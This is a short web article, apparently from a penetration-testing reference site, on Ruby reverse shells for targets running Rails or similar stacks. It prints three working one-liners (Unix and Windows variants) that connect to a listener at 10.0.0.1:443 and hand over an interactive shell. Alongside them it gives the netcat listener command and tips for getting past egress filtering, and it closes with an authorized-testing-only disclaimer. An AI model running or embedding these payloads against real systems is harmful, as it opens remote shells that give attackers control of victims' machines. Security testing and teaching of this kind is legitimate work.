Skip to content
reverseshell

Ruby Reverse Shell: One-Liners for Boxes That Run Rails

How a ruby reverse shell works with the socket library, the common one-liners, and when Ruby is the interpreter you can count on.

Published on 2 min read

Ruby is not the first interpreter you reach for, but on the right box it is the one that is definitely there — anything running Rails, a Chef/Puppet stack, or a Ruby-based CI agent ships an interpreter. When python is missing and nc has no -e, a ruby one-liner often saves the engagement.

The Standard One-Liner

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",443).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Decoded:

  • -rsocket requires Ruby's socket library on the command line.
  • TCPSocket.open("10.0.0.1",443) connects back to your listener; .to_i gives the socket's file descriptor number.
  • exec sprintf("/bin/sh -i <&%d >&%d 2>&%d", f, f, f) replaces the Ruby process with /bin/sh, redirecting stdin, stdout, and stderr to that descriptor.

It is the same socket-to-fd trick as the python reverse shell, expressed in Ruby. Catch it with the usual nc -lvnp 443.

A Cleaner Modern Variant

Newer Ruby supports passing fds directly to spawn/exec, which reads more clearly:

ruby -rsocket -e'c=TCPSocket.new("10.0.0.1",443);$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);exec("/bin/sh","-i")'

Both forms do the same job; use whichever the target's Ruby version accepts.

Windows

If the target is Windows with Ruby installed (less common, but it happens on dev boxes), drop the /bin/sh and call the Windows shell:

ruby -rsocket -e'c=TCPSocket.new("10.0.0.1",443);$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);exec("cmd.exe")'

For Windows in general, prefer the native approach in windows reverse shells.

When It Won't Connect

  1. No Ruby on the target — check which ruby / ruby -v; fall back to bash, python, or netcat.
  2. Quoting — the payload uses single quotes around the -e script; a second single-quoted layer breaks it. See payload quoting.
  3. Egress filtered — prefer 443/80, and test first per egress filtering.
  4. Listener mismatch — verify with choosing a listener.

Full checklist: why reverse shells fail.

Generate It

The reverse shell generator emits the ruby one-liner with your LHOST/LPORT filled in and the matching listener beside it.

Authorized Testing Only

Use ruby reverse shells only against systems you own or are explicitly authorized to test. Authorization is what makes the work legitimate.

Related articles

The common bash reverse shell one-liners explained line by line, why they need bash (not sh), and how to fall back when /dev/tcp is missing.
How the python reverse shell one-liner works with socket and pty, why the python/python3 split breaks payloads, and a version-agnostic fallback.
How the perl reverse shell works with the Socket module, the classic one-liner, and why Perl is the fallback on legacy Unix systems.